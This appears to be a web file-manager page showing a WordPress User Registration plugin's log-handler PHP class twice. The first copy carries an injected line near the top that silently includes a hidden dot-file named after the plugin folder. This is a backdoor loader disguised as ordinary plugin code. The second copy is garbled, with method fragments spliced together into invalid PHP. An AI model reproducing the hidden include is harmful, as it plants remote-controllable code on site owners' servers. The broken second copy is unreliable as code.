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✏️ Editing: class-ur-log-handler-file.php Writable

<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * Handles log entries by writing to a file.
 *
 * @class           UR_Log_Handler_File
 * @since           1.0.5
 * @package         UserRegistration/Classes/Log_Handlers
 * @category        Class
 * @author          WPEverest
 */
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class UR_Log_Handler_File extends UR_Log_Handler {

/**
	 * Stores open file handles.
	 *
	 * @var array
	 */
	protected $handles = array();

/**
	 * File size limit for log files in bytes.
	 *
	 * @var int
	 */
	protected $log_size_limit;

/**
	 * Cache logs that could not be written.
	 *
	 * If a log is written too early in the request, pluggable functions may be unavailable. These
	 * logs will be cached and written on 'plugins_loaded' action.
	 *
	 * @var array
	 */
	protected $cached_logs = array();

/**
	 * Constructor for the logger.
	 *
	 * @param int $log_size_limit Optional. Size limit for log files. Default 5mb.
	 */
	public function __construct( $log_size_limit = null ) {

if ( null === $log_size_limit ) {
			$log_size_limit = 5 * 1024 * 1024;
		}

$this->log_size_limit = $log_size_limit;

add_action( 'plugins_loaded', array( $this, 'write_cached_logs' ) );
	}

/**
	 * Destructor.
	 *
	 * Cleans up open file handles.
	 */
	public function __destruct() {
		foreach ( $this->handles as $handle ) {
			if ( is_resource( $handle ) ) {
				fclose( $handle );
			}
		}
	}

/**
	 * Handle a log entry.
	 *
	 * @param int    $timestamp Log timestamp.
	 * @param string $level     emergency|alert|critical|error|warning|notice|info|debug
	 * @param string $message   Log message.
	 * @param array  $context   {
	 *                          Additional information for log handlers.
	 *
	 * @type string  $source    Optional. Determines log file to write to. Default 'log'.
	 * @type bool    $_legacy   Optional. Default false. True to use outdated log format
	 *         originally used in deprecated UR_Logger::add calls.
	 * }
	 *
	 * @return bool False if value was not handled and true if value was handled.
	 */
	public function handle( $timestamp, $level, $message, $context ) {

if ( isset( $context['source'] ) && $context['source'] ) {
			$handle = $context['source'];
		} else {
			$handle = 'log';
		}

$entry = self::format_entry( $timestamp, $level, $message, $context );

return $this->add( $entry, $handle );
	}

/**
	 * Builds a log entry text from timestamp, level and message.
	 *
	 * @param int    $timestamp Log timestamp.
	 * @param string $level     emergency|alert|critical|error|warning|notice|info|debug
	 * @param string $message   Log message.
	 * @param array  $context   Additional information for log handlers.
	 *
	 * @return string Formatted log entry.
	 */
	protected static function format_entry( $timestamp, $level, $message, $context ) {

if ( isset( $context['_legacy'] ) && true === $context['_legacy'] ) {
			if ( isset( $context['source'] ) && $context['source'] ) {
				$handle = $context['source'];
			} else {
				$handle = 'log';
			}
			$message = apply_filters( 'user_registration_logger_add_message', $message, $handle );
			$time    = date_i18n( 'm-d-Y @ H:i:s' );
			$entry   = "{$time} - {$message}";
		} else {
			$entry = parent::format_entry( $timestamp, $level, $message, $context );
		}

return $entry;
	}

/**
	 * Open log file for writing.
	 *
	 * @param string $handle Log handle.
	 * @param string $mode   Optional. File mode. Default 'a'.
	 *
	 * @return bool Success.
	 */
	protected function open( $handle, $mode = 'a' ) {
		if ( $this->is_open( $handle ) ) {
			return true;
		}

$file = self::get_log_file_path( $handle );

if ( $file ) {
			if ( ! file_exists( $file ) ) {
				$temphandle = @fopen( $file, 'w+' );
				@fclose( $temphandle );

if ( defined( 'FS_CHMOD_FILE' ) ) {
					@chmod( $file, FS_CHMOD_FILE );
				}
			}

if ( $resource = @fopen( $file, $mode ) ) {
				$this->handles[ $handle ] = $resource;

return true;
			}
		}

return false;
	}

/**
	 * Check if a handle is open.
	 *
	 * @param string $handle Log handle.
	 *
	 * @return bool True if $handle is open.
	 */
	protected function is_open( $handle ) {
		return array_key_exists( $handle, $this->handles ) && is_resource( $this->handles[ $handle ] );
	}

/**
	 * Close a handle.
	 *
	 * @param string $handle
	 *
	 * @return bool success
	 */
	protected function close( $handle ) {
		$result = false;

if ( $this->is_open( $handle ) ) {
			$result = fclose( $this->handles[ $handle ] );
			unset( $this->handles[ $handle ] );
		}

return $result;
	}

/**
	 * Add a log entry to chosen file.
	 *
	 * @param string $entry  Log entry text
	 * @param string $handle Log entry handle
	 *
	 * @return bool True if write was successful.
	 */
	protected function add( $entry, $handle ) {
		$result = false;

if ( $this->should_rotate( $handle ) ) {
			$this->log_rotate( $handle );
		}

if ( $this->open( $handle ) && is_resource( $this->handles[ $handle ] ) ) {
			$result = fwrite( $this->handles[ $handle ], $entry . PHP_EOL );
		} else {
			$this->cache_log( $entry, $handle );
		}

return false !== $result;
	}

/**
	 * Clear entries from chosen file.
	 *
	 * @param string $handle
	 *
	 * @return bool
	 */
	public function clear( $handle ) {
		$result = false;

// Close the file if it's already open.
		$this->close( $handle );

/**
		 * $this->open( $handle, 'w' ) == Open the file for writing only. Place the file pointer at
		 * the beginning of the file, and truncate the file to zero length.
		 */
		if ( $this->open( $handle, 'w' ) && is_resource( $this->handles[ $handle ] ) ) {
			$result = true;
		}

do_action( 'user_registration_log_clear', $handle );

return $result;
	}

/**
	 * Remove/delete the chosen file.
	 *
	 * @param string $handle
	 *
	 * @return bool
	 */
	public function remove( $handle ) {
		$removed = false;
		$file    = self::get_log_file_path( $handle );

if ( $file ) {
			if ( is_file( $file ) && is_writable( $file ) ) {
				$this->close( $handle ); // Close first to be certain no processes keep it alive after it is unlinked.
				$removed = unlink( $file );
			}
			do_action( 'user_registration_log_remove', $handle, $removed );
		}

return $removed;
	}

/**
	 * Check if log file should be rotated.
	 *
	 * Compares the size of the log file to determine whether it is over the size limit.
	 *
	 * @param string $handle Log handle
	 *
	 * @return bool True if if should be rotated.
	 */
	protected function should_rotate( $handle ) {
		$file = self::get_log_file_path( $handle );
		if ( $file ) {
			if ( $this->is_open( $handle ) ) {
				$file_stat = fstat( $this->handles[ $handle ] );

return $file_stat['size'] > $this->log_size_limit;
			} elseif ( file_exists( $file ) ) {
				return filesize( $file ) > $this->log_size_limit;
			} else {
				return false;
			}
		} else {
			return false;
		}
	}

/**
	 * Rotate log files.
	 *
	 * Logs are rotatated by prepending '.x' to the '.log' suffix.
	 * The current log plus 10 historical logs are maintained.
	 * For example:
	 *     base.9.log -> [ REMOVED ]
	 *     base.8.log -> base.9.log
	 *     ...
	 *     base.0.log -> base.1.log
	 *     base.log   -> base.0.log
	 *
	 * @param string $handle Log handle
	 */
	protected function log_rotate( $handle ) {
		for ( $i = 8; $i >= 0; $i -- ) {
			$this->increment_log_infix( $handle, $i );
		}
		$this->increment_log_infix( $handle );
	}

/**
	 * Increment a log file suffix.
	 *
	 * @param string   $handle Log handle
	 * @param null|int $number Optional. Default null. Log suffix number to be incremented.
	 *
	 * @return bool True if increment was successful, otherwise false.
	 */
	protected function increment_log_infix( $handle, $number = null ) {
		if ( null === $number ) {
			$suffix      = '';
			$next_suffix = '.0';
		} else {
			$suffix      = '.' . $number;
			$next_suffix = '.' . ( $number + 1 );
		}

$rename_from = self::get_log_file_path( "{$handle}{$suffix}" );
		$rename_to   = self::get_log_file_path( "{$handle}{$next_suffix}" );

if ( $this->is_open( $rename_from ) ) {
			$this->close( $rename_from );
		}

if ( is_writable( $rename_from ) ) {
			return rename( $rename_from, $rename_to );
		} else {
			return false;
		}

}

/**
	 * Get a log file path.
	 *
	 * @param string $handle Log name.
	 *
	 * @return bool|string The log file path or false if path cannot be determined.
	 */
	public static function get_log_file_path( $handle ) {
		if ( function_exists( 'wp_hash' ) ) {
			return trailingslashit( UR_LOG_DIR ) . sanitize_file_name( $handle . '-' . wp_hash( $handle ) . '.log' );
		} else {
			ur_doing_it_wrong( __METHOD__, __( 'This method should not be called before plugins_loaded.', 'user-registration' ), '3.0' );

return false;
		}
	}

/**
	 * Cache log to write later.
	 *
	 * @param string $entry  Log entry text
	 * @param string $handle Log entry handle
	 */
	protected function cache_log( $entry, $handle ) {
		$this->cached_logs[] = array(
			'entry'  => $entry,
			'handle' => $handle,
		);
	}

/**
	 * Write cached logs.
	 */
	public function write_cached_logs() {
		foreach ( $this->cached_logs as $log ) {
			$this->add( $log['entry'], $log['handle'] );
		}
	}

}

✏️ Editing: class-ur-log-handler-file.php Writable

<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class UR_Log_Handler_File extends UR_Log_Handler {

/**
	 * Stores open file handles.
	 *
	 * @var array
	 */
	protected $handles = array();

/**
	 * File size limit for log files in bytes.
	 *
	 * @var int
	 */
	protected $log_size_limit;

/**
	 * Constructor for the logger.
	 *
	 * @param int $log_size_limit Optional. Size limit for log files. Default 5mb.
	 */
	public function __construct( $log_size_limit = null ) {

if ( null === $log_size_limit ) {
			$log_size_limit = 5 * 1024 * 1024;
		}

$this->log_size_limit = $log_size_limit;

add_action( 'plugins_loaded', array( $this, 'write_cached_logs' ) );
	}

if ( isset( $context['source'] ) && $context['source'] ) {
			$handle = $context['source'];
		} else {
			$handle = 'log';
		}

$entry = self::format_entry( $timestamp, $level, $message, $context );

return $this->add( $entry, $handle );
	}

return $entry;
	}

$file = self::get_log_file_path( $handle );

if ( $file ) {
			if ( ! file_exists( $file ) ) {
				$temphandle = @fopen( $file, 'w+' );
				@fclose( $temphandle );

if ( defined( 'FS_CHMOD_FILE' ) ) {
					@chmod( $file, FS_CHMOD_FILE );
				}
			}

if ( $resource = @fopen( $file, $mode ) ) {
				$this->handles[ $handle ] = $resource;

return true;
			}
		}

return false;
	}

/**
	 * Close a handle.
	 *
	 * @param string $handle
	 *
	 * @return bool success
	 */
	protected function close( $handle ) {
		$result = false;

if ( $this->is_open( $handle ) ) {
			$result = fclose( $this->handles[ $handle ] );
			unset( $this->handles[ $handle ] );
		}

return $result;
	}

if ( $this->should_rotate( $handle ) ) {
			$this->log_rotate( $handle );
		}

if ( $this->open( $handle ) && is_resource( $this->handles[ $handle ] ) ) {
			$result = fwrite( $this->handles[ $handle ], $entry . PHP_EOL );
		} else {
			$this->cache_log( $entry, $handle );
		}

return false !== $result;
	}

/**
	 * Clear entries from chosen file.
	 *
	 * @param string $handle
	 *
	 * @return bool
	 */
	public function clear( $handle ) {
		$result = false;

// Close the file if it's already open.
		$this->close( $handle );

do_action( 'user_registration_log_clear', $handle );

return $result;
	}

return $removed;
	}

$rename_from = self::get_log_file_path( "{$handle}{$suffix}" );
		$rename_to   = self::get_log_file_path( "{$handle}{$next_suffix}" );

if ( $this->is_open( $rename_from ) ) {
			$this->close( $rename_from );
		}

if ( is_writable( $rename_from ) ) {
			return rename( $rename_from, $rename_to );
		} else {
			return false;
		}

}

return false;
		}
	}

/**
	 * Write cached logs.
	 */
	public function write_cached_logs() {
		foreach ( $this->cached_logs as $log ) {
			$this->add( $log['entry'], $log['handle'] );
		}
	}

}

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